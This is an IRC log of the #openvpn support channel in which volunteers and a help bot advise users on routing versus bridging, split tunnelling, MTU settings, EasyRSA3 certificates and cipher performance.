07:12 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
07:19 -!- Rhaoul [~Rhaoul@37-1-165-86.ip.skylogicnet.com] has joined #openvpn
07:30 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
07:33 -!- Rhaoul [~Rhaoul@37-1-165-86.ip.skylogicnet.com] has quit [Quit: Verlassend]
07:37 -!- pablito [~chatzilla@mail.unisal.it] has joined #openvpn
07:37 < pablito> hi
07:38 < pablito> Hi
07:39 <@dazo> !welcome
07:39 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
07:39 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:39 < pablito> I am able to access an online journal portal via an openvpn connection
07:39 < pablito> however, all my data is channeled through the openvpn server
07:39 < pablito> is there a way to channel data directly from the online journal portal to my own computer instead of going through the openvpn server?
07:40 < pablito> I am concern here with performance
07:43 < pablito> !howto
07:43 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
07:43 -!- pcdummy_ is now known as pcdummy
07:43 -!- pcdummy [~pcdummy@mx1.page4me.ch] has quit [Changing host]
07:43 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has joined #openvpn
07:45 < rob0> All I can guess: don't use --redirect-gateway if you did not intend to redirect all traffic.
07:46 < pablito> ok
07:46 < pablito> i'll try that
07:47 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:50 < rob0> then you might need policy routing (specific to your OS) to redirect some traffic through the VPN.
07:52 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
07:55 -!- xBytez_ [xBytez@libxbytez.so] has quit [Ping timeout: 245 seconds]
07:55 < pablito> basically, I just want to use the openvpn server so enable the online journal portal to allow me access to the content, there is no other purpose for the openvpn
07:55 -!- Fruckiwacki- [fruckiwack@5.135.190.66] has joined #openvpn
07:56 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 250 seconds]
07:56 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
07:56 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
07:56 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
07:57 < pablito> how would I set the routing policy for this case?
07:57 < pablito> more specifically, I just want computer to be identified as one belonging to the "allowed network" that can access the online journal
07:57 < pablito> *my computer
07:58 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:01 < pablito> my openvpn server runs the latest debian
08:02 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:03 < rob0> !lartc
08:03 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
08:03 < pablito> !routing
08:04 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
08:07 -!- pablito [~chatzilla@mail.unisal.it] has quit [Read error: Connection reset by peer]
08:09 -!- pablito [~chatzilla@mail.unisal.it] has joined #openvpn
08:12 -!- pablito_ [~chatzilla@194.90.149.21] has joined #openvpn
08:14 -!- pablito [~chatzilla@mail.unisal.it] has quit [Ping timeout: 240 seconds]
08:14 -!- pablito_ [~chatzilla@194.90.149.21] has quit [Read error: Connection reset by peer]
08:18 -!- pablito [~chatzilla@194.90.149.21] has joined #openvpn
08:19 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
08:19 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
08:28 < pablito> hi
08:28 -!- pablito [~chatzilla@194.90.149.21] has quit [Read error: Connection reset by peer]
08:29 -!- pablito [~chatzilla@194.90.149.21] has joined #openvpn
08:35 -!- Zap-W [~zxd@bzq-79-180-15-80.red.bezeqint.net] has joined #openvpn
08:35 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
08:36 < Zap-W> trying to use openvpn in windows
08:36 < Zap-W> I get nothing in the window
08:36 < Zap-W> Failed to connect
08:36 < Zap-W> blank screen white
08:36 < Zap-W> Connection to client has failed
08:37 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:38 -!- Devastator_ [~devas@186.214.111.92] has quit [Changing host]
08:38 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
08:38 < Zap-W> windows 7
08:38 -!- Devastator_ is now known as Devastator
08:40 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:40 -!- pablito [~chatzilla@194.90.149.21] has quit [Ping timeout: 250 seconds]
08:49 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
08:50 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 272 seconds]
08:51 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
08:51 -!- mode/#openvpn [+v s7r] by ChanServ
08:51 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
08:54 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:55 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Max SendQ exceeded]
08:56 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:04 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
09:05 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Excess Flood]
09:05 -!- JackWinter [~jack@80.90.56.61] has joined #openvpn
09:05 < Zap-W> log file also is empty
09:07 -!- Nikon_m [~nikonm@184.151.63.206] has joined #openvpn
09:10 -!- JackWinter [~jack@80.90.56.61] has quit [Excess Flood]
09:10 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
09:18 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:21 -!- Tu13es [~brandon@vervet.isomerica.net] has joined #openvpn
09:27 -!- Nikon_m [~nikonm@184.151.63.206] has quit [Quit: Nikon_m]
09:32 -!- ade_ [~Ade@dslb-188-102-159-031.pools.arcor-ip.net] has joined #openvpn
09:35 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
09:37 -!- pablito [~chatzilla@194.90.149.21] has joined #openvpn
09:39 -!- pablito_ [~chatzilla@194.90.149.21] has joined #openvpn
09:39 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
09:40 -!- mattock is now known as mattock_afk
09:42 -!- pablito [~chatzilla@194.90.149.21] has quit [Ping timeout: 250 seconds]
09:42 -!- pablito_ is now known as pablito
09:42 -!- master_of_master [~master_of@p4FF24734.dip0.t-ipconnect.de] has joined #openvpn
09:45 -!- master_o1_master [~master_of@p4FD7BF61.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
09:48 -!- Nikon_m [~nikonm@184.151.63.206] has joined #openvpn
09:50 -!- dvl [~dan@64.147.113.42] has joined #openvpn
09:57 < pablito> how can I route traffic to a particular website through OpenVPN and all other sites go through my normal ISP?
09:58 -!- Nikon_m [~nikonm@184.151.63.206] has quit [Quit: Nikon_m]
09:58 <@krzee> !redirect
09:58 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:58 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
09:59 <@krzee> but instead of using --redirect-gateway you simply add a --route
10:01 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
10:12 < pablito> ah ok
10:12 < pablito> thanks
10:12 < Zap-W> how do enable ip forward in windows 7
10:17 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
10:18 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
10:26 -!- ngharo_ is now known as ngharo
10:28 < pekster> Zap-W: see !ipforward. All things said, Windows generally makes a poor routing platform, but info about the required registry changes are there
10:41 -!- mattock_afk is now known as mattock
10:50 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
10:50 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
10:59 -!- _quadDam1ge is now known as _quadDamage
11:00 -!- pablito [~chatzilla@194.90.149.21] has quit [Ping timeout: 268 seconds]
11:03 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 245 seconds]
11:06 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
11:10 -!- keithzg [~quassel@184.70.164.246] has joined #openvpn
11:12 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
11:13 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
11:18 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:26 -!- blonkel [~asdgasggK@p57926737.dip0.t-ipconnect.de] has joined #openvpn
11:26 < blonkel> hi im running an openvpn beteween two servs in the internet
11:27 < blonkel> im scp from one server to another i only get ~170kb/sek even if they have 100Mbit up and down
11:28 < blonkel> here is my config: http://pastebin.com/UgNA1THG
11:28 < blonkel> any suggestions to speed this up?
11:33 < pekster> Why have you messed with --tun-mtu? That's generally unwise, and you've actually set your tun MTU below the minimum required IP MTU set out by RFC791
11:33 < pekster> See the manpage on that option, and consider the advice it gives you about using --fragment and/or --mssfix instead
11:34 < pekster> Mis-matching settings between client & server is a setup for bad times too
11:35 -!- duoi [duoi@gateway/shell/ircrelay.com/x-uqqfhcbejvmaihfr] has quit [Ping timeout: 246 seconds]
11:37 < blonkel> ok well then i leave mtu on default, thank you for your advices
11:44 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea_]
11:47 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:55 -!- duoi [duoi@gateway/shell/ircrelay.com/x-crsgrpknmvountmd] has joined #openvpn
11:55 -!- duoi [duoi@gateway/shell/ircrelay.com/x-crsgrpknmvountmd] has quit [Changing host]
11:55 -!- duoi [duoi@unaffiliated/duoi] has joined #openvpn
11:55 -!- duoi [duoi@unaffiliated/duoi] has quit [Changing host]
11:55 -!- duoi [duoi@gateway/shell/ircrelay.com/x-crsgrpknmvountmd] has joined #openvpn
12:02 -!- duoi [duoi@gateway/shell/ircrelay.com/x-crsgrpknmvountmd] has quit [Ping timeout: 264 seconds]
12:04 -!- dvl [~dan@64.147.113.42] has quit [Ping timeout: 240 seconds]
12:05 -!- duoi [duoi@gateway/shell/ircrelay.com/x-pyqnqcyqsjllzxhz] has joined #openvpn
12:05 -!- duoi [duoi@gateway/shell/ircrelay.com/x-pyqnqcyqsjllzxhz] has quit [Changing host]
12:05 -!- duoi [duoi@unaffiliated/duoi] has joined #openvpn
12:05 -!- duoi [duoi@unaffiliated/duoi] has quit [Changing host]
12:05 -!- duoi [duoi@gateway/shell/ircrelay.com/x-pyqnqcyqsjllzxhz] has joined #openvpn
12:09 -!- Zap-W [~zxd@bzq-79-180-15-80.red.bezeqint.net] has quit [Ping timeout: 260 seconds]
12:22 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:38 -!- blonkel is now known as blonkel|sport
12:38 -!- blonkel|sport [~asdgasggK@p57926737.dip0.t-ipconnect.de] has left #openvpn []
12:38 -!- pablito [~chatzilla@194.90.149.21] has joined #openvpn
12:39 -!- mattock is now known as mattock_afk
12:48 -!- pablito [~chatzilla@194.90.149.21] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 26.0/20131205075310]]
12:48 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
13:13 -!- mattock_afk is now known as mattock
13:25 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
13:26 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
13:28 <@dazo> !gigabit
13:28 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
13:28 <@dazo> blonkel had left ....
13:46 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
13:47 < rob0> gigablonk
13:47 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
13:54 -!- ade_ [~Ade@dslb-188-102-159-031.pools.arcor-ip.net] has quit [Ping timeout: 250 seconds]
14:03 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
14:32 -!- ToTheInternet [~ToTheInte@gateway/tor-sasl/totheinternet] has joined #openvpn
14:34 < ToTheInternet> my local subnet is 192.168.1.0/24 and i configured an openvpn server. when i connect, the client gets an ip from a different subnet, 10.0.8.something. I'd like to get an IP from the same subnet
14:38 -!- ToTheInt1rnet [~ToTheInte@gateway/tor-sasl/totheinternet] has joined #openvpn
14:41 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
14:41 -!- ToTheInt1rnet [~ToTheInte@gateway/tor-sasl/totheinternet] has quit [Client Quit]
14:44 < ToTheInternet> sorry about that. so anyway, i believe i need to configure the server in bridging mode in order to achieve this. can someone confirm this?
14:46 < pekster> Don't bridge; router instead
14:46 < pekster> !tunortap
14:47 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. or (#2) and if your reason for wanting tap is windows shares, see !wins or use DNS or (#3) remember layer2 has no security, arp poisoning works over tap vpns or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not
14:47 <@vpnHelper> rooted/jailbroken) support only tun
14:47 < pekster> route* instead
14:49 < ToTheInternet> i'm the only one using the vpn so i don't care about arp poisoning
14:49 < wallbroken> pekster, a little problem with easyrsa3, i need to set up a key for a smartphone
14:49 < ToTheInternet> "Configuring OpenVPN to use IP "routing" is generally much simpler than configuring the operating system to implement interface "bridging". But only bridging allows remotely connected users to receive IP addresses from the local LAN range and function as full network peers with all other network resources."
14:49 < wallbroken> on the smartphone i can't run easyrsa
14:49 < pekster> wallbroken: Right, generate it on a PC that can and copy it to the phone
14:50 < wallbroken> ok, can i do it on the same CA server ?
14:50 < pekster> Then ideally destroy the local copy on the PC (you won't need it again, and if you loose the phone or reformat it, you should generate a new key anyway)
14:50 < pekster> You can do it anywhere you'd like, yea
14:50 < pekster> If you do it on the CA PKI there's no need to "import" it
14:50 < ToTheInternet> i tried setting up bridging but it won't work. i'm beginning to think i need 2 physical devices for that?
14:50 < wallbroken> ok, then, request file will be unusefull?
14:50 < wallbroken> after signing them with the CA
14:50 < pekster> No, you _always_ need a request
14:50 < wallbroken> for wath?
14:50 < pekster> Oh, yes, after signing you can delete the request if you'd like
14:50 < wallbroken> *what
14:51 < wallbroken> ok
14:51 < pekster> The request is what turns into a cert. See the intro-to-pki docs (linked at !easy-rsa) for details
14:51 < pekster> ToTheInternet: The virtual tap adapter is your "2nd device" in a bridge. Why do you want to make life more complicated with a bridge? What reason to you have? Most people don't have valid reasons
14:52 < ToTheInternet> pekster: i stated my reason above. i want to be in the local subnet when i connect to the vpn
14:52 < pekster> That's a bad reason
14:53 < pekster> Learn to route instead
14:53 < pekster> That's an excuse, not a reason
14:54 < pekster> Read the helpful info you got from the bot at !tunortap earlier and decide if you really need to transport Ethernet frames
14:54 < Aketzu> "but I want to play multiplayer doom with IPX"
14:54 < pekster> That would be a valid, if not rather deprecated, reason ;)
14:54 < ToTheInternet> i wasn't aware that bridging was "bad", and i'm certainly not trying to find excuses...
14:55 < ToTheInternet> i did read the info from the bot, and i already said i don't care about ARP poisening
14:55 < pekster> ToTheInternet: It's less efficient (ARPs, broadcasts, etc,) It's more complicated, It requires more OS-specific networking setup, it's more prone to setup issues, it requires coordination with the local DHCP ranges
14:56 < ToTheInternet> ok, so when you said, learn to route in order to achieve what i want. what did you exactly mean?
14:56 < pekster> If you understand that it's generally more complex and want to do it anyway, set up your bridget outside of openvpn and add in the tap adapter (either statically with a uniquely named tap device, or dynamically on openvpn startup) and read the --server-bridge helper
14:56 < pekster> Use routingn
14:56 < pekster> Start with the !howto, then when your client can ping the VPN server, read/follow: !serverlan
14:56 < pekster> That lets VPN clients reach your server LAN
14:57 < ToTheInternet> thats the way it is right now
14:57 < ToTheInternet> but i get an ip from a different subnet
14:57 < pekster> And?
14:57 < pekster> That's how routing works. Why do you "want it to be on the same subnet?"
14:58 < ToTheInternet> because i dont have a nameserver on the LAN
14:58 < pekster> So grab dnsmasq and call it a day?
14:59 < pekster> dnsmasq can integrate your DHCP+DNS into a single, quite tiny, process
14:59 < pekster> Or just put local IPs you care about into a public DNS zone on a domain you control and use that
15:00 < pekster> box1.lan.yourdomain.com -> 10.123.2.100 for instance
15:00 < ToTheInternet> ok, sounds good
15:01 < ToTheInternet> if i ever want to use wake on lan over vpn, i will reconsider bridging
15:01 < ToTheInternet> ;)
15:01 < pekster> That, or what I do is just ssh to the router and send a WOL packet from there
15:02 < ToTheInternet> right
15:02 < Aketzu> or if it's two hosts then just edit hosts-files and be done with it :)
15:02 < ToTheInternet> i'm beginning to see why bridging is hardly ever necessary
15:04 < ToTheInternet> ok, so usually my smb shares are on 192.168.1.10, but in the vpn they are on 10.0.8.1, so what do i put in the hosts files so that it always works?
15:05 < ToTheInternet> i can't point the same name to 2 ip adresses, can i?
15:05 < pekster> You don't. Use dynamic DNS to update it when things "shift"
15:05 < pekster> In theory that might be a use-case that bridging could aid with if you really didn't want to do that
15:06 < pekster> Do you really need shares accessible at the same DNS name at "different locations" though?
15:06 < pekster> It's a rather odd use-case
15:06 < pekster> Why not differenet DNS zones? BoxA.vpn.yourdomain.com vs BoxA.lan.yourdomain.com
15:07 < pekster> Or a dynamicly-updated DNS zone that triggers updates based on which network the client associcated with last? BoxA.dynamic.yourdomain.com
15:08 < ToTheInternet> i do a lot of work on the server when i'm working in the lan. its not just about the smb shares. i also have a c++ build host and some other stuff. everything breaks when i connect via vpn
15:09 < ToTheInternet> i want it to be completely transparent. the workflow should not change at all, whether i'm in the vpn or in the lan
15:09 < pekster> You're trying to connect to the VPN _CLIENT_ from the build system??!
15:09 < pekster> That sounds very broken if you ask me
15:09 < ToTheInternet> no, the server is my build system. the vpn client runs the IDE, which connects to the build system
15:10 < pekster> Right, so a static DNS zone is all you need
15:10 < ToTheInternet> this works on the lan, but not in the vpn, because the ip of the server changes
15:10 < pekster> Why does the IP of your server change? Servers should have static addresses, or at least DHCP reservations if you're going that route
15:10 -!- dazo is now known as dazo_afk
15:11 < ToTheInternet> well, since my ip changes to 10.0.8.x, i can't reach ips in the 192.168.1.0/24 subnet
15:11  * pekster sighs
15:11 < ToTheInternet> but i can reach my server at 10.0.8.1
15:11 < pekster> A server on a server-side LAN does _not_ "change" just because you add a VPN host to the network
15:12 < pekster> Maybe you need to describe your setup better. AFAIK, you have [SERVER]---{LAN}---[VPN_SERVER]---{INTERNET}---[VPN_CLIENT]
15:13 < rob0> maybe meaning that the IP changes ... relative to one given client?
15:13 < ToTheInternet> LAN --- SERVER/VPN_SERVER --- INTERNET --- VPN_CLIENT
15:13 < pekster> Right
15:13 < rob0> but anyway, again, !serverlan is your friend
15:13 < pekster> The server _still_ has its 192.168.1.X IP (I'd highly recommend use use a less conflicting network though -- that range will bite you)
15:14 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
15:14 < ToTheInternet> but i can't access it when my ip is 10.0.8.x
15:14 < pekster> Then you should read the references I (and now rob0) have pointed you to
15:14 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
15:15 < ToTheInternet> alright
15:17 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
15:17 -!- Devastator [~devas@unaffiliated/devastator] has quit []
15:23 < ToTheInternet> !serverlan
15:23 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
15:23 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
15:25 -!- Denial [Denial@94.8.139.3] has quit []
15:50 -!- mattock is now known as mattock_afk
15:57 -!- klein [~klein@177.101.103.97] has joined #openvpn
15:57 -!- klein [~klein@177.101.103.97] has quit [Changing host]
15:57 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:27 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
16:30 -!- ade_ [~Ade@dslb-188-102-159-031.pools.arcor-ip.net] has joined #openvpn
16:35 < ToTheInternet> pekster: thanks for your help. everything works perfectly now
16:40 -!- crus [~crusader@2001:44b8:319e:2900:ddc8:4935:86c4:2029] has joined #openvpn
16:46 < pekster> Good to know you got things setup how you like
16:48 -!- ade_ [~Ade@dslb-188-102-159-031.pools.arcor-ip.net] has quit [Quit: Too sexy for his shirt]
16:48 -!- Fruckiwacki- is now known as Fruckiwacki
16:53 < wallbroken> pekster, once i've signed the request files with the CA, is there something that i can pull from the CA and put into client/server ?
16:57 < pekster> Hmm? I don't get what you're asking
16:59 < wallbroken> after the creation of PKI on every entity, i need to get the request file and send it to the CA
16:59 < wallbroken> then I import the request file into the CA
17:00 < wallbroken> after that? do i need to do something else like copy some CA outpunt into the server/client entity?
17:00 < pekster> https://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto
17:00 <@vpnHelper> Title: EasyRSA3-OpenVPN-Howto – OpenVPN Community (at community.openvpn.net)
17:00 < pekster> See step 6
17:00 -!- pagios [pagioss@gateway/shell/bnc4free/x-nasmemdmagwjbumn] has quit [Read error: Connection reset by peer]
17:01 < pekster> Send the ca.crt and the issued certificate back to each system requesting a cert (so, each server and each client)
17:01  * pekster should update the steps to separate servers & clients
17:01 < wallbroken> ok thanks
17:06 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
17:08 -!- Guest327 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
17:12 < pekster> wallbroken: Step 7 has been updated a bit on that page, and I've clarified step 2 for the server and 3 for the client; let me know if you still think it's confusing
17:12 < wallbroken> ok
17:14 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
17:30 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
17:31 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
17:34 -!- pagioss [pagioss@gateway/shell/bnc4free/x-iepwcxcrevkzuvvj] has joined #openvpn
17:48 -!- grep0r [grep0r@bitcoinshell.mooo.com] has quit [Ping timeout: 252 seconds]
17:49 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
17:50 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 260 seconds]
17:51 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:55 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
17:55 -!- grep0r [grep0r@bitcoinshell.mooo.com] has joined #openvpn
18:04 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 252 seconds]
18:09 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
18:09 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
18:17 -!- blonkel [~asdgasggK@p57926737.dip0.t-ipconnect.de] has joined #openvpn
18:18 < blonkel> hey guys, whats the best practice to change the cipher with nearly no downtime?
18:18 < blonkel> is it possible to add 2 different cyphers in the server which are allowed?
18:20 < pekster> Nope, there's no negotiation support for the --cipher directive. If you want a nice rollover, my suggestion is to use a 2nd UDP port and roll clients over to that, unless you can really prep a way to update all the clients at once
18:21 < pekster> Note that this means a unique network range for the 2nd VPN server unless you can someone put them on separate systems and handle the routing nicely
18:21 < pekster> Treat --cipher like you would --tls-auth in terms of invasiveness
18:22 < blonkel> thought so :(
18:22 < blonkel> thanks
18:22 < blonkel> https://alpha-t.net/shop/
18:22 <@vpnHelper> Title: Products Archive | Alpha TechnologyAlpha Technology (at alpha-t.net)
18:22 < blonkel> ups
18:22 < blonkel> :D
18:23 < blonkel> wrong channel sorry
18:23 < blonkel> <<
18:23  * pekster was about to inquire..
18:23 < blonkel> to many windows open >_<
18:23 < pekster> Better than /msg nickserv identify hunter2 ;)
18:23 < blonkel> haha true story
18:24 < blonkel> but im setting up a script for that, otherwise this would happen to me :P
18:28 < blonkel> hab morgen frei
18:28 < blonkel> :D
18:30 < wallbroken> http://www.nssmag.com/en/fashion-or-porn
18:30 <@vpnHelper> Title: Fashion or Porn? - THE GAME (at www.nssmag.com)
18:32 < blonkel> haha nice
18:32 < blonkel> is there a performance difference between iptables and openvpn routing?
18:34 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
18:35 -!- heraclitus [~heraclitu@85.17.31.98] has joined #openvpn
18:35 -!- heraclitus [~heraclitu@85.17.31.98] has quit [Changing host]
18:35 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
18:40 < pekster> blonkel: Netfilter (aka "iptables") is a (stateful) firewall, and NAT system. Routing in Linux is governed by the routing table as is standard for most Unix-alikes
18:41 < pekster> So, basically your question needs clarification since it doesn't make sense
18:44 < blonkel> i read you can leave the basic routing to openvpn or can handle it on your on
18:44 < blonkel> so i thought there could be a performance difference, but if im thinking a bit more on it. its the kernel whos handling the routing right?
18:45 < blonkel> so it doesnt matter whos adding the entry to the routing table, correct?
18:50 < pekster> Right
18:50 < pekster> OpenVPN's --route directive is nothing more than a proxy to the OS/distro-method to add a route on your sysotem
18:50 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
18:50 < pekster> This might be route.exe under windows, the `route` command on BSD, Solars, or (possibly) Linux, or (depending on build options) `ip route` under Linux
18:51 < blonkel> k, then one more question about the cyphers:
18:52 < blonkel> there a basicly 3 diffrent modes CBC,OFB,CFB.. im routing mysql cluster data over the vpn connection, and the performance is currently quiete poor, which one of this modes should i take?
18:52 < blonkel> CBC seems to be the slowest of this 3?
18:53 < blonkel> due to the fact, if im sendding small packets they still sending 128/256 bit
18:56 < pekster> Are you on a pre-2.3.x version? You should be using a CBC varient; don't sacrifice speed for security (there's unencrypted tunnels for that)
18:57 < blonkel> OpenVPN 2.2.1 x86_64-linux-gnu
18:57 < pekster> If you're doing this in software, you'll probably get better performance out of BF-CBC as a --cypher option anyway (and if you have hardware acceleration, AES can use that)
19:00 < blonkel> well im not sure where exacly the bottleneck is in my openvpn config, im trieing to investigate that currently. my diffrent servers are really close together (same geo location), but if im using openvpn instead of normal tcp/ip its getting realy slow
19:01 < blonkel> if im pinging over the openvpn tunning i get some values of about <1,2ms. but it still much slower then a normal setup without openvpn
19:01 < blonkel> so i thought the bottleneck is the cipher
19:03 < pekster> There are some CPU cyles and the like responsible for that, but it depends on your setup, usage, and hardware. `top` or a similar tool can evaluate your CPU usage, and remember that openvpn is single-threaded (only uses 1 core on multi-core systems, at least per openvpn instance)
19:04 < pekster> You can also test with `--cipher none` to disable encryption completely for comparison
19:06 < blonkel> well cpu should be fine, and even hardware accelerated: i7-4770 CPU @ 3.40GHz
19:07 < blonkel> but there is virtualisation, so im not sure if the virtual machines get still hardware accelerated
19:07 < blonkel> cpu usage of openvpn is low
19:07 < pekster> hw-accel is openvpn/openssl specific
19:07 < pekster> `openvpn --show-engines`
19:08 < pekster> And even then, only with a supported AES mode that openssl can rely on an engine to process
19:08 < blonkel> rsax,rdrand and dynamic
19:08 < blonkel> so it looks theres no aes support?
19:08 < pekster> rsax and rdrand are both supported engines in your case
19:09 < pekster> By default, the 'dynamic' loader attempts to leverage an engine if available, but you can force one with the --engine directive
19:09 < blonkel> well only on the host, the guests have no rdrand so they generating the random numbers by software..
19:10 < pekster> The AES-NI is the more CPU-intensive part
19:10 < blonkel> ok thank you for that info, i could try to fix that..
19:11 < pekster> "most" of what openvpn does is wait for openssl to handle the encryption (and in part, digital signing) of packets
19:12 < pekster> If you have hardware acceleration that is greatly reduced; at some point I/O becomes a question since it is a userspace program, but that doesn't occur on modern hardware until you are into the 100's of Mbps speeds; !gigabit has a former write-up on those conditions
